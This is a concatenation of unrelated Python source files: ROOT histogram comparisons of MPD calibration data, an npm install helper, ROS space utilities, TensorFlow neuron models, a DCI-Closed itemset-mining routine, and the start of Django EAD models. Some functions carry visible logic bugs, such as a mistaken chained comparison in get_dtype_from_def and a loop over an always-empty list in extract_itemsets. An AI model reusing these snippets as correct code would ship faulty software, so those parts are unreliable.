maxVals[idx] = max(maxVals[idx], max(numarray.ravel(mpd2[twr, ..., idx]))) minDiff[idx] = min(numarray.ravel(mpdDiff[twr, ..., idx])) maxDiff[idx] = max(numarray.ravel(mpdDiff[twr, ..., idx])) else: minVals[idx] = min(minVals[idx], min(numarray.ravel(mpd1[twr, ..., idx]))) maxVals[idx] = max(maxVals[idx], max(numarray.ravel(mpd1[twr, ..., idx]))) minVals[idx] = min(minVals[idx], min(numarray.ravel(mpd2[twr, ..., idx]))) maxVals[idx] = max(maxVals[idx], max(numarray.ravel(mpd2[twr, ..., idx]))) minDiff[idx] = min(minDiff[idx], min(numarray.ravel(mpdDiff[twr, ..., idx]))) maxDiff[idx] = max(maxDiff[idx], max(numarray.ravel(mpdDiff[twr, ..., idx]))) # gobal summary histograms import os mpdFilename1 = os.path.basename(mpdPath1) mpdFilename2 = os.path.basename(mpdPath2) lrg_reldiff_summary = ROOT.TH1I("lrg_reldiff_summary", "lrg_reldiff_summary (mpd2 - mpd1)", 50, minDiff[cgc_util.mpdBigValIdx], maxDiff[cgc_util.mpdBigValIdx]) lrg_reldiff_summary.GetXaxis().SetTitle(mpdFilename1) lrg_reldiff_summary.GetYaxis().SetTitle(mpdFilename2) lrg_err_reldiff_summary = ROOT.TH1I("lrg_err_reldiff_summary", "lrg_err_reldiff_summary (mpd2 - mpd)", 50, minDiff[cgc_util.mpdBigSigIdx], maxDiff[cgc_util.mpdBigSigIdx]) lrg_err_reldiff_summary.GetXaxis().SetTitle(mpdFilename1) lrg_err_reldiff_summary.GetYaxis().SetTitle(mpdFilename2) sm_reldiff_summary = ROOT.TH1I("sm_reldiff_summary", "sm_reldiff_summary (mpd2 - mpd1)", 50, minDiff[cgc_util.mpdSmallValIdx], maxDiff[cgc_util.mpdSmallValIdx]) sm_reldiff_summary.GetXaxis().SetTitle(mpdFilename1) sm_reldiff_summary.GetYaxis().SetTitle(mpdFilename2) sm_err_reldiff_summary = ROOT.TH1I("sm_err_reldiff_summary", "sm_err_reldiff_summary (mpd2 - mpd1)", 50, minDiff[cgc_util.mpdSmallSigIdx], maxDiff[cgc_util.mpdSmallSigIdx]) sm_err_reldiff_summary.GetXaxis().SetTitle(mpdFilename1) sm_err_reldiff_summary.GetYaxis().SetTitle(mpdFilename2) # build scatter histograms lrg_scatter = ROOT.TH2S("lrg_scatter", "lrg diode mpd change x=mpd1 y=mpd2", 100, minVals[cgc_util.mpdBigValIdx], maxVals[cgc_util.mpdBigValIdx], 100, minVals[cgc_util.mpdBigValIdx], maxVals[cgc_util.mpdBigValIdx]) lrg_scatter.GetXaxis().SetTitle(mpdFilename1) lrg_scatter.GetYaxis().SetTitle(mpdFilename2) sm_scatter = ROOT.TH2S("sm_scatter", "sm diode mpd change x=mpd1 y=mpd2", 100, minVals[cgc_util.mpdSmallValIdx], maxVals[cgc_util.mpdSmallValIdx], 100, minVals[cgc_util.mpdSmallValIdx], maxVals[cgc_util.mpdSmallValIdx]) sm_scatter.GetXaxis().SetTitle(mpdFilename1) sm_scatter.GetYaxis().SetTitle(mpdFilename2) lrg_err_scatter = ROOT.TH2S("lrg_err_scatter", "lrg diode mpd error change x=mpd1 y=mpd2", 100, minVals[cgc_util.mpdBigSigIdx], maxVals[cgc_util.mpdBigSigIdx], 100, minVals[cgc_util.mpdBigSigIdx], maxVals[cgc_util.mpdBigSigIdx]) lrg_err_scatter.GetXaxis().SetTitle(mpdFilename1) lrg_err_scatter.GetYaxis().SetTitle(mpdFilename2) sm_err_scatter = ROOT.TH2S("sm_err_scatter", "sm diode mpd error change x=mpd1 y=mpd2", 100, minVals[cgc_util.mpdSmallSigIdx], maxVals[cgc_util.mpdSmallSigIdx], 100, minVals[cgc_util.mpdSmallSigIdx], maxVals[cgc_util.mpdSmallSigIdx]) sm_err_scatter.GetXaxis().SetTitle(mpdFilename1) sm_err_scatter.GetYaxis().SetTitle(mpdFilename2) lrg_prof = ROOT.TProfile("lrg_prof", "lrg diode mpd change x=mpd1 y=mpd2", 100, 0, maxVals[cgc_util.mpdBigValIdx]) lrg_prof.GetXaxis().SetTitle(mpdFilename1) lrg_prof.GetYaxis().SetTitle(mpdFilename2) sm_prof = ROOT.TProfile("sm_prof", "sm diode mpd change x=mpd1 y=mpd2", 100, 0, maxVals[cgc_util.mpdSmallValIdx]) sm_prof.GetXaxis().SetTitle(mpdFilename1) sm_prof.GetYaxis().SetTitle(mpdFilename2) lrg_err_prof = ROOT.TProfile("lrg_err_prof", "lrg diode mpd error change x=mpd1 y=mpd2", 100, 0, maxVals[cgc_util.mpdBigSigIdx]) lrg_err_prof.GetXaxis().SetTitle(mpdFilename1) lrg_err_prof.GetYaxis().SetTitle(mpdFilename2) sm_err_prof = ROOT.TProfile("sm_err_prof", "sm diode mpd error change x=mpd1 y=mpd2", 100, 0, maxVals[cgc_util.mpdSmallSigIdx]) sm_err_prof.GetXaxis().SetTitle(mpdFilename1) sm_err_prof.GetYaxis().SetTitle(mpdFilename2) # fill histograms for twr in mpdTwrs1: lrgDiff = numarray.ravel(mpdDiff[twr, ..., cgc_util.mpdBigValIdx]) smDiff = numarray.ravel(mpdDiff[twr, ..., cgc_util.mpdSmallValIdx]) lrgErrDiff = numarray.ravel(mpdDiff[twr, ..., cgc_util.mpdBigSigIdx]) smErrDiff = numarray.ravel(mpdDiff[twr, ..., cgc_util.mpdSmallSigIdx]) lrg1 = numarray.ravel(mpd1[twr, ..., cgc_util.mpdBigValIdx]) sm1 = numarray.ravel(mpd1[twr, ..., cgc_util.mpdSmallValIdx]) lrgErr1 = numarray.ravel(mpd1[twr, ..., cgc_util.mpdBigSigIdx]) smErr1 = numarray.ravel(mpd1[twr, ..., cgc_util.mpdSmallSigIdx]) lrg2 = numarray.ravel(mpd2[twr, ..., cgc_util.mpdBigValIdx]) sm2 = numarray.ravel(mpd2[twr, ..., cgc_util.mpdSmallValIdx]) lrgErr2 = numarray.ravel(mpd2[twr, ..., cgc_util.mpdBigSigIdx]) smErr2 = numarray.ravel(mpd2[twr, ..., cgc_util.mpdSmallSigIdx]) lrg_reldiff_summary.FillN(len(lrgDiff), array.array('d',lrgDiff), array.array('d',[1]*len(lrgDiff))) lrg_scatter.FillN(len(lrg1), array.array('d',lrg1), array.array('d',lrg2), array.array('d',[1]*len(lrg1))) lrg_prof.FillN(len(lrg1), array.array('d',lrg1), array.array('d',lrg2), array.array('d',[1]*len(lrg1))) lrg_err_reldiff_summary.FillN(len(lrgErrDiff), array.array('d',lrgErrDiff), array.array('d',[1]*len(lrgErrDiff))) lrg_err_scatter.FillN(len(lrgErr1), array.array('d',lrgErr1), array.array('d',lrgErr2), array.array('d',[1]*len(lrgErr1))) lrg_err_prof.FillN(len(lrgErr1), array.array('d',lrgErr1), array.array('d',lrgErr2), array.array('d',[1]*len(lrgErr1))) sm_reldiff_summary.FillN(len(smDiff), array.array('d',smDiff), array.array('d',[1]*len(smDiff))) sm_scatter.FillN(len(sm1), array.array('d',sm1), array.array('d',sm2), array.array('d',[1]*len(sm1))) sm_prof.FillN(len(sm1), array.array('d',sm1), array.array('d',sm2), array.array('d',[1]*len(sm1))) sm_err_reldiff_summary.FillN(len(smErrDiff), array.array('d',smErrDiff), array.array('d',[1]*len(smErrDiff))) sm_err_scatter.FillN(len(smErr1), array.array('d',smErr1), array.array('d',smErr2), array.array('d',[1]*len(smErr1))) sm_err_prof.FillN(len(smErr1), array.array('d',smErr1), array.array('d',smErr2), array.array('d',[1]*len(smErr1))) lrg_prof.Fit("pol1","Q") sm_prof.Fit("pol1","Q") lrg_err_prof.Fit("pol1","Q") sm_err_prof.Fit("pol1","Q") # GENERATE POSTSCRIPT REPORT # rptFilename = outputBasename + ".ps" # setup plotting options ROOT.gStyle.SetPalette(1) # print first page in doc lrg_scatter.Draw("colZ") ROOT.gPad.SetGrid() ROOT.gPad.Print(rptFilename+"(") # print middle pages sm_scatter.Draw("colZ") ROOT.gPad.Print(rptFilename) lrg_err_scatter.Draw("colZ") ROOT.gPad.Print(rptFilename) # print last page in doc sm_err_scatter.Draw("colZ") ROOT.gPad.Print(rptFilename+")") log.info("Writing %s"%rootPath) rootFile.Write() rootFile.Close() davidbrownell/Common_Nodejs # ---------------------------------------------------------------------- # | # | NpmInstall.py # | # | <> # | 2020-03-06 18:09:07 # | # ---------------------------------------------------------------------- # | # | Copyright 2020-21 # | Distributed under the Boost Software License, Version 1.0. See # | accompanying file LICENSE_1_0.txt or copy at # | http://www.boost.org/LICENSE_1_0.txt. # | # ---------------------------------------------------------------------- """Installs node modules via npm with only a package-lock.json file""" import json import os import sys import six import CommonEnvironment from CommonEnvironment.CallOnExit import CallOnExit from CommonEnvironment import CommandLine from CommonEnvironment import FileSystem from CommonEnvironment import Process from CommonEnvironment.StreamDecorator import StreamDecorator # ---------------------------------------------------------------------- _script_fullpath = CommonEnvironment.ThisFullpath() _script_dir, _script_name = os.path.split(_script_fullpath) # ---------------------------------------------------------------------- @CommandLine.EntryPoint @CommandLine.Constraints( working_dir=CommandLine.DirectoryTypeInfo( arity="?", ), output_stream=None, ) def EntryPoint( working_dir=os.getcwd(), preserve_package=False, output_stream=sys.stdout, verbose=False, ): with StreamDecorator(output_stream).DoneManager( line_prefix="", prefix="\nResults: ", suffix="\n", ) as dm: prev_dir = os.getcwd() os.chdir(working_dir) with CallOnExit(lambda: os.chdir(prev_dir)): dm.stream.write("Reading 'package-lock.json'...") with dm.stream.DoneManager() as this_dm: if not os.path.isfile("package-lock.json"): this_dm.stream.write("ERROR: 'package-lock.json' does not exist.\n") this_dm.result = -1 return this_dm.result with open("package-lock.json") as f: content = json.load(f) if "dependencies" not in content: this_dm.stream.write("ERROR: 'dependencies' was not found.\n") this_dm.result = -1 return this_dm.result dependencies = content["dependencies"] dm.stream.write("Creating 'package.json'...") with dm.stream.DoneManager() as this_dm: if os.path.isfile("package.json"): os.rename("package.json", "package.json.old") restore_file_func = lambda: os.rename("package.json.old", "package.json") else: restore_file_func = lambda: None for k, v in dependencies.items(): dependencies[k] = "={}".format(v["version"]) with open("package.json", "w") as f: json.dump( { "dependencies": dependencies, }, f, ) with CallOnExit(restore_file_func): if preserve_package: remove_file_func = lambda: None else: remove_file_func = lambda: FileSystem.RemoveFile("package.json") with CallOnExit(remove_file_func): dm.stream.write("Running 'npm ci'...") with dm.stream.DoneManager() as this_dm: if verbose: this_output_stream = this_dm.stream else: this_output_stream = six.moves.StringIO() this_dm.result = Process.Execute("npm ci", this_output_stream) if this_dm.result != 0: if not verbose: this_dm.stream.write(this_output_stream.getvalue()) return this_dm.result return dm.result # ---------------------------------------------------------------------- # ---------------------------------------------------------------------- # ---------------------------------------------------------------------- if __name__ == "__main__": try: sys.exit( CommandLine.Main() ) except KeyboardInterrupt: pass class TestarosaPyError(Exception): ... class AnotherError(TestarosaPyError): ... """ Author = "" This class builds upon the abstract processor. It takes two data frames and adds the rows behind each other. This is used here the add all the single rows together to then run the SingleColumnAdder.py only once. It would be better if this function could take more than two data frames and concat but so far this implementation has not been completed. """ import pandas as pd from Processing.abstractprocessor import AbstractProcessor class DataframeConcer(AbstractProcessor): def __init__(self, df1, df2): """ Runs the logic within this class. The get_data_frame function can be used to pull the dataframe out of the class after the logic. :param df1: Any data frame :param df2: Any data frame """ self.data_frame = self.method(df1, df2) def method(self, df1, df2): """ This adds any two data frames together by concatenating the second one behind the first. :param df1: Any data frame :param df2: Any data frame :return: The combined data frames """ conceddf = pd.concat( [df1.reset_index().iloc[:, [i for i in range(1, len(df1.columns)+1)]], df2.reset_index().iloc[:, [i for i in range(1, len(df2.columns)+1)]]], axis=1) return conceddf def get_data_frame(self): """ The function which gives a method to get the data frame from the class. :return: Returns final dataframe """ return self.data_frame 10-100 from eager_core.utils.file_utils import substitute_xml_args from eager_core.srv import BoxFloat32Data, BoxFloat32DataResponse from eager_core.srv import BoxUInt8Data, BoxUInt8DataResponse from eager_core.msg import Space def get_message_from_def(object): if object['type'] == 'boxf32': return BoxFloat32Data elif object['type'] == 'boxu8': return BoxUInt8Data else: raise NotImplementedError('Unknown space type:', object['type']) def get_response_from_def(object): if object['type'] == 'boxf32': return BoxFloat32DataResponse elif object['type'] == 'boxu8': return BoxUInt8DataResponse else: raise NotImplementedError('Unknown space type:', object['type']) def get_value_from_def(object): if object['type'] == 'boxf32': return 0.0 elif object['type'] == 'boxu8': return 0 else: raise NotImplementedError('Unknown message type:', object['type']) def get_length_from_def(object): if 'shape' in object and object['shape']: length = 1 for element in object['shape']: length *= element else: length = len(object['high']) return length def get_dtype_from_def(object): if 'f32' in object['type'] == 'boxf32': return 'float32' elif 'u8' in object['type']: return 'uint8' else: raise NotImplementedError('Unknown space type:', object['type']) def get_def_from_space_msg(msg): object = dict() object['type'] = msg.type object['high'] = [] for value in msg.high: object['high'].append(substitute_xml_args(value)) object['low'] = [] for value in msg.low: object['low'].append(substitute_xml_args(value)) return object def get_space_msg_from_def(object): msg = Space() msg.type = object['type'] msg.high = [] for value in object['high']: msg.high.append(str(value)) msg.low = [] for value in object['low']: msg.low.append(str(value)) return msg """ .. module:: neuron :synopsis: Module containing classes for neuron models .. moduleauthor:: """ import numpy as np import tensorflow as tf from .models import cfg_model from .models.model import Neuron from .optim import Optimized MODEL = cfg_model.NEURON_MODEL class PyBioNeuron(MODEL): """Class representing a neuron, implemented only in Python This class allows simulation but not optimization""" def __init__(self, init_p=None, dt=0.1): MODEL.__init__(self, init_p=init_p, tensors=False, dt=dt) class NeuronTf(Neuron, Optimized): """ Abstract class whose implementation allow single optimization as well as in a Circuit """ _ions = MODEL.ions default_init_state = MODEL.default_init_state nb = 0 def __init__(self, dt=0.1): Neuron.__init__(self, dt=dt) Optimized.__init__(self, dt=dt) self.id = self._give_id() @property def groups(self): """ list indicating the group of each neuron Neurons with the same group share the same parameters """ return None def init(self, batch): """ Method to implement whe initialization is needed, will be called before reset Args: batch(int): number of batches """ pass @property def trainable(self): """boolean stating if the neuron can be optimized""" return True @classmethod def _give_id(cls): cls.nb += 1 return str(cls.nb - 1) @property def hidden_init_state(self): """For behavioral models eg LSTM""" return None class BioNeuronTf(MODEL, NeuronTf): """ Class representing a neuron, implemented using Tensorflow. This class allows simulation and optimization, alone and in a Circuit. It can contain several neurons at the same time. Which in turn can be optimized in parallel, or be used to represent the entire neurons in a Circuit. """ def __init__(self, init_p=None, dt=0.1, fixed=(), constraints=None, groups=None, n_rand=None): """ Initializer Args: init_p(dict or list of dict): initial parameters of the neuron(s). If init_p is a list, then this object will model n = len(init_p) neurons dt(float): time step fixed(set): parameters that are fixed and will stay constant in case of optimization. if fixed == 'all', all parameters will be constant constraints(dict of ndarray): keys as parameters name, and values as [lower_bound, upper_bound] """ NeuronTf.__init__(self, dt=dt) if n_rand is not None: init_p = [self.get_random() for _ in range(n_rand)] self.n_rand = n_rand MODEL.__init__(self, init_p=init_p, tensors=True, dt=dt) if fixed == 'all' : fixed = set(self.parameter_names) self._fixed = fixed if constraints is not None : self._constraints_dic = constraints if groups is None: pass elif len(np.unique(groups)) > self.num: raise ValueError('Too many groups defined') elif len(groups) < self.num: raise ValueError('Some neurons are not assigned to any group') self._groups = groups def __getstate__(self): state = self.__dict__.copy() del state['_param'] del state['_constraints'] return state def __setstate__(self, state): self.__dict__.update(state) self._param = {} self._constraints = {} @property def groups(self): return self._groups @property def init_params(self): """initial model parameters""" return self._init_p @init_params.setter def init_params(self, value): self._init_p = {v: value[v] for v in self.parameter_names} # TODO : test param_ex = self._init_p[self.parameter_names[0]] self._num = len(param_ex) if len(param_ex) == 1: self._init_state = self.default_init_state else: self._init_state = np.stack([self.default_init_state for _ in range(self._num)], axis=-1) if isinstance(param_ex, np.ndarray) and param_ex.ndim == 2: n = self._init_p[self.parameter_names[0]].shape[-1] self._init_state = np.stack([self._init_state for _ in range(n)], axis=-1) for v in self._init_p.values(): if len(v) != self._num: raise ValueError('The shape of the parameters don\'t match the object structure') def set_init_param(self, name, value=None): if name not in self.parameter_names: raise ValueError('The parameter "{}" does not exist'.format(name)) if value is None: value = self.default_params[name] shape = self._init_p[name].shape val = np.full(shape, value, dtype=np.float32) self._init_p[name] = val @property def trainable(self): """True if the object can be optimized""" return (self._fixed != set(self._init_p.keys())) def reset(self): """rebuild tf variable graph""" with(tf.variable_scope(self.id)): self._param = {} self._constraints = [] for var, val in self._init_p.items(): if var in self._fixed: if self._groups is None: vals = tf.constant(val, name=var, dtype=tf.float32) else: vals = [tf.constant(val[i], name=var + str(i), dtype=tf.float32) for i in self._groups] else: with tf.variable_scope(self.id, reuse=tf.AUTO_REUSE): if self._groups is None: vals = tf.get_variable(var, initializer=val, dtype=tf.float32) else: vals = [tf.get_variable(var + str(i), initializer=val[i], dtype=tf.float32) for i in self._groups] if var in self._constraints_dic: con = self._constraints_dic[var] if self.groups is None: self._constraints.append( tf.assign(vals, tf.clip_by_value(vals, con[0], con[1]))) else: self._constraints.extend( [tf.assign(val, tf.clip_by_value(val, con[0], con[1])) for val in vals]) self._param[var] = tf.stack(vals) # print('neuron_params after reset : ', self._param) def parallelize(self, n): """Add a dimension of size n in the initial parameters and initial state Args: n(int): size of the new dimension """ if self.n_rand is not None: if self._num > 1 and list(self._init_p.values())[0].ndim == 1: keys = self._init_p.keys() toadd = [[self.get_random() for _ in range(self._num)] for __ in range(n-1)] toadd_ = [{var: np.array([par[i][var] for i in range(self._num)], dtype=np.float32) for var in keys} for par in toadd] l = [self._init_p] + toadd_ self._init_p = {var: np.stack([l[i][var] for i in range(n)], axis=-1) for var in keys} elif not hasattr(list(self._init_p.values())[0], '__len__'): keys = self._init_p.keys() l = [self._init_p] + [self.get_random() for _ in range(n - 1)] self._init_p = {var: np.array([l[i][var] for i in range(n)], dtype=np.float32) for var in keys} self._init_state = np.stack([self._init_state for _ in range(n)], axis=-1) else: MODEL.parallelize(self, n) def build_graph(self, batch=None): """ Build a tensorflow graph for running the neuron(s) on a series of input Args: batch(int): dimension of the batch Returns: tf.placeholder, tf.Tensor: input placeholder and results of the run """ tf.reset_default_graph() self.reset() xshape = [None] initializer = self._init_state if batch is not None: xshape.append(None) initializer = np.stack([initializer for _ in range(batch)], axis=1) if self._num > 1: xshape.append(self._num) curs_ = tf.placeholder(shape=xshape, dtype=tf.float32, name='input_current') res_ = tf.scan(self.step, curs_, initializer=initializer.astype(np.float32)) return curs_, res_ def calculate(self, i): """ Iterate over i (current) and return the state variables obtained after each step Args: i(ndarray): input current Returns: ndarray: state vectors concatenated [i.shape[0], len(self.init_state)(, i.shape[1]), self.num] """ if i.ndim > 1: input_cur, res_ = self.build_graph(batch=i.shape[1]) else: input_cur, res_ = self.build_graph() if i.ndim < 3 and self._num > 1: i = np.stack([i for _ in range(self._num)], axis=i.ndim) with tf.Session() as sess: sess.run(tf.global_variables_initializer()) results = sess.run(res_, feed_dict={ input_cur: i }) return results def settings(self): """ Returns(str): string describing the object """ return ('Neuron optimization'.center(20, '.') + '\n' + 'Nb of neurons : {}'.format(self._num) + '\n' + 'Initial neuron params : {}'.format(self._init_p) + '\n' + 'Fixed variables : {}'.format([c for c in self._fixed]) + '\n' + 'Initial state : {}'.format(self.default_init_state) + '\n' + 'Constraints : {}'.format(self._constraints_dic) + '\n' + 'dt : {}'.format(self.dt) + '\n') def apply_constraints(self, session): """ Apply the constraints to the object variables Args: session: tensorflow session """ session.run(self._constraints) @property def variables(self): """Current variables of the models""" return self._param class NeuronLSTM(NeuronTf): """Behavior model of a neuron using an LSTM network""" _max_cur = 60. _rest_v = -60. _scale_v = 100. _scale_ca = 500. def __init__(self, nb_layer=1, layer_size=50, extra_ca=0, dt=0.1, vars_init=None): self.vars_init = None self._hidden_layer_nb = nb_layer self._hidden_layer_size = layer_size self._extra_ca = extra_ca self._volt_net = None self._ca_net = None NeuronTf.__init__(self, dt=dt) self._hidden_init_state = None @property def hidden_init_state(self): """Give the initial state needed for the LSTM network""" if self._hidden_init_state is None: raise ReferenceError("The LSTM cell has not yet been iniatialized") else: return self._hidden_init_state @property def num(self): """Number of neurons contained in the object, always 1 here""" return 1 @property def init_params(self): """Initial model parameters""" if self.vars_init is None: return {} return self.vars_init @init_params.setter def init_params(self, value): self.vars_init = value def predump(self, sess): self.vars_init = {v.name: sess.run(v) for v in tf.trainable_variables()} def __getstate__(self): state = self.__dict__.copy() del state['_ca_net'] del state['_volt_net'] del state['_hidden_init_state'] return state def __setstate__(self, state): self.__dict__.update(state) self._volt_net = None self._ca_net = None self._hidden_init_state = None def reset(self): num_units1 = [self._hidden_layer_size for _ in range(self._hidden_layer_nb)] num_units1.append(1) with tf.variable_scope(self.id+'Volt'): cells = [tf.nn.rnn_cell.LSTMCell(n, use_peepholes=True, state_is_tuple=True) for n in num_units1] self._volt_net = tf.nn.rnn_cell.MultiRNNCell(cells) if self._extra_ca > 0: num_units2 = [self._hidden_layer_size for _ in range(self._extra_ca)] num_units2.append(1) with tf.variable_scope(self.id+'Calc'): cells = [tf.nn.rnn_cell.LSTMCell(n, use_peepholes=True, state_is_tuple=True) for n in num_units2] self._ca_net = tf.nn.rnn_cell.MultiRNNCell(cells) def init(self, batch): with tf.variable_scope(self.id+'Volt'): init_vstate = self._volt_net.zero_state(batch, dtype=tf.float32) self._hidden_init_state = (init_vstate, init_vstate) if self._ca_net: with tf.variable_scope(self.id+'Calc'): init_castate = self._ca_net.zero_state(batch, dtype=tf.float32) self._hidden_init_state = (init_vstate, init_castate) def build_graph(self, batch=1): tf.reset_default_graph() self.reset() xshape = [None, None] curs_ = tf.placeholder(shape=xshape, dtype=tf.float32, name='input_current') with tf.variable_scope('prelayer'): input = tf.expand_dims(curs_ / self._max_cur, axis=len(xshape)) with tf.variable_scope(self.id+'Volt'): initializer = self._volt_net.zero_state(batch, dtype=tf.float32) v_outputs, _ = tf.nn.dynamic_rnn(self._volt_net, inputs=input, initial_state=initializer, time_major=True) if self._ca_net: with tf.variable_scope(self.id+'Calc'): initializer = self._ca_net.zero_state(batch, dtype=tf.float32) ca_outputs, _ = tf.nn.dynamic_rnn(self._ca_net, inputs=v_outputs, initial_state=initializer, time_major=True) else: ca_outputs = v_outputs with tf.name_scope('Scale'): V = v_outputs[:, :, self.V_pos] * self._scale_v + self._rest_v Ca = ca_outputs[:, :, -1] * self._scale_ca results = tf.stack([V, Ca], axis=1) return curs_, results def step(self, X, hprev, i_inj): """ Update function Args: X(Tensor): not used here, classical state hprev(tuple of LSTMStateTuple): previous LSTM state i_inj(Tensor): array of input currents, dimension [batch] Returns: Tensor: Tensor containing the voltages in the first position """ with tf.variable_scope(self.id+'Volt'): # apply lstm network (self._volt_net) with i_inj as input, using the previous state v, vstate = self._volt_net(i_inj/self._max_cur, hprev[0]) v = v * self._scale_v + self._rest_v if self._ca_net: with tf.variable_scope(self.id+'Calc'): ca, castate = self._ca_net(v, hprev[1]) ca = ca * self._scale_ca else: ca = v castate = vstate # Fill with void to mimic classical state out = [v] for i in range(len(self.default_init_state)-2): out.append(tf.fill(tf.shape(i_inj), 0.)) out.append(ca) return tf.stack(out), (vstate, castate) def calculate(self, i): """ Iterate over i (current) and return the state variables obtained after each step Args: i(ndarray): input current Returns: ndarray: state vectors concatenated [i.shape[0], len(self.init_state)(, i.shape[1]), self.num] """ if i.ndim > 1: input_cur, res_ = self.build_graph(batch=i.shape[1]) else: input_cur, res_ = self.build_graph() i = i[:, None] with tf.Session() as sess: sess.run(tf.global_variables_initializer()) self.apply_init(sess) results = sess.run(res_, feed_dict={ input_cur: i }) return results def settings(self): """ Returns(str): string describing the object """ return ('Number of hidden layers : {}'.format(self._hidden_layer_nb) + '\n' 'Units per hidden layer : {}'.format(self._hidden_layer_size) + '\n' + 'Extra layers for [Ca] : %s' % self._extra_ca + '\n' + 'dt : {}'.format(self.dt) + '\n' + 'max current : {}, rest. voltage : {}, scale voltage : {}, scale calcium : {}' .format(self._max_cur, self._rest_v, self._scale_v, self._scale_ca) ) def apply_init(self, sess): """Initialize the variables if loaded object Args: sess: tf.Session """ if self.vars_init is not None: train_vars = self._volt_net.trainable_variables if self._ca_net: train_vars += self._ca_net.trainable_variables sess.run([tf.assign(v, self.vars_init[v.name]) for v in train_vars]) class Neurons(NeuronTf): """ This class allow to use neurons from different classes inheriting NeuronTf in a same Circuit """ def __init__(self, neurons): """ Args: neurons(list): list of NeuronTf objects Raises: AttributeError: If all neurons don't share the same dt """ if len(set([n.dt for n in neurons])) > 1: raise AttributeError('All neurons must have the same time step, got : {}'.format([n.dt for n in neurons])) NeuronTf.__init__(self, dt=neurons[0].dt) self._neurons = neurons self._num = np.sum([n.num for n in neurons]) self._init_state = np.concatenate([n.init_state if n.init_state.ndim == 2 else n.init_state[:,np.newaxis] for n in neurons], axis=1) def predump(self, sess): for n in self._neurons: n.predump(sess) def __getstate__(self): state = self.__dict__.copy() state['neurons'] = [n.__getstate__().copy() for n in self._neurons] for n in state['neurons']: pass return state def __setstate__(self, state): self.__dict__.update(state) for i, n in enumerate(self._neurons): n.__setstate__(state['neurons'][i]) def reset(self): for n in self._neurons: n.reset() def init(self, batch): """call `init` method for all contained neuron objects""" for n in self._neurons: n.init(batch) @property def hidden_init_state(self): return [n.hidden_init_state if n.hidden_init_state is not None else 0. for n in self._neurons] def build_graph(self): raise AttributeError('Nope') def step(self, X, hidden, i): """ Share the state and the input current into its embedded neurons Args: X(tf.Tensor): precedent state vector i(tf.Tensor): input current Returns: ndarray: next state vector """ next_state = [] idx = 0 extras = [] for j, n in enumerate(self._neurons): if n.hidden_init_state is None: nt = n.step(X[:,:,idx:idx+n.num], i[:,idx:idx+n.num]) extr = hidden[j] else: nt, extr = n.step(X[:,:,idx:idx+n.num], hidden[j], i[:, idx:idx + n.num]) extras.append(extr) next_state.append(nt) idx += n.num # for t in extras[0]: # print(t) # print(tf.concat(next_state, axis=-1)) with tf.variable_scope('1state'): return (tf.concat(next_state, axis=-1), extras) def calculate(self, i): """ Iterate over i (current) and return the state variables obtained after each step Args: i(ndarray): input current Returns: ndarray: state vectors concatenated [i.shape[0], len(self.init_state)(, i.shape[1]), self.num] """ pass def settings(self): """ Returns(str): string describing the object """ return 'Ensemble neurons : '.join(['\n' + n.settings() for n in self._neurons]) def apply_constraints(self, session): """ Apply the constraints to the object variables Args: session: tensorflow session """ return [n.apply_constraints(session) for n in self._neurons] def apply_init(self, session): [n.apply_init(session) for n in self._neurons] LFRusso/cluster-based-IR # função para obter a entrada do dci_closed = CLOSED_SET, PRE_SET, POST_SET def extract_itemsets(cluster, min_supp): pre_set = [] # pegar itens que estão em todos os documentos = c(∅) closed_set = [] for item in pre_set: ver = 0 for doc in cluster: if item in doc: ver += 1 if ver == len(cluster): closed_set.append(item) # seleção dos termos frequentes f1 = [] _ = [f1.append(item) for doc in cluster for item in doc if supp([item], cluster) >= min_supp and item not in f1] # itens frequentes que não estão no closed = F1 \ c(∅) post_set = [item for item in f1 if item not in closed_set] return closed_set, pre_set, post_set def dci_closed(closed_set, pre_set, post_set, cluster, min_supp): subsets = [] for i in range(len(post_set)): new_gen = closed_set.copy() new_gen.append(post_set[i]) if supp(new_gen, cluster) >= min_supp: if not is_dup(new_gen, pre_set, cluster): closed_set_new = new_gen.copy() post_set_new = [] for j in range(i+1, len(post_set)): if set(g(new_gen, cluster)).issubset(g(post_set[j], cluster)): closed_set.append(post_set[j]) else: post_set_new.append(post_set[j]) subsets.append(closed_set_new) retorno = dci_closed(closed_set_new, pre_set, post_set_new, cluster, min_supp) subsets.extend(retorno) pre_set.append(post_set[i]) return subsets # cálculo do support def supp(itemset, cluster): support = 0 for doc in cluster: if set(itemset).issubset(doc): support += 1 return support/len(cluster) # checagem de duplicados def is_dup(new_gen, pre_set, cluster): for j in pre_set: if set(g(new_gen, cluster)).issubset(g(j, cluster)): return True return False def g(itemset, cluster): lista_de_trans = [] for doc in range(len(cluster)): if set(itemset).issubset(cluster[doc]): lista_de_trans.append(doc) return lista_de_trans findingaids/fa/models.py # file findingaids/fa/models.py # # Copyright 2012 Emory University Library # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from datetime import datetime import logging import os from django.conf import settings from django.contrib.sites.models import Site from django.core.cache import cache from django.core.urlresolvers import reverse from django.db import models from eulxml import xmlmap from eulxml.xmlmap import eadmap from eulexistdb.manager import Manager from eulexistdb.models import XmlModel from findingaids.utils import normalize_whitespace # logging logger = logging.getLogger(__name__) # finding aid models ID_DELIMITER = '_' class DigitalArchivalObject(eadmap.DigitalArchivalObject): show = xmlmap.StringField("@xlink:show") 'attribute to determine how the resource should be displayed' class Name(XmlModel): '''XmlObject for a generic name in an EAD document. Includes common functionality for persname, famname, corpname, and geogname. ''' ROOT_NS = eadmap.EAD_NAMESPACE ROOT_NAMESPACES = { 'e': eadmap.EAD_NAMESPACE, } source = xmlmap.StringField('@source') role = xmlmap.StringField('@role') authfilenumber = xmlmap.StringField('@authfilenumber') encodinganalog = xmlmap.StringField('@encodinganalog') value = xmlmap.StringField(".", normalize=True) # NOTE: could be persname, corpname, famname @property def is_personal_name(self): 'boolean indicator if this is a persname tag' return self.node.tag == "{%s}persname" % eadmap.EAD_NAMESPACE @property def is_corporate_name(self): 'boolean indicator if this is a corpname tag' return self.node.tag == "{%s}corpname" % eadmap.EAD_NAMESPACE @property def is_family_name(self): 'boolean indicator if this is a famname tag' return self.node.tag == "{%s}famname" % eadmap.EAD_NAMESPACE @property def is_geographic_name(self): 'boolean indicator if this is a geogname tag' return self.node.tag == 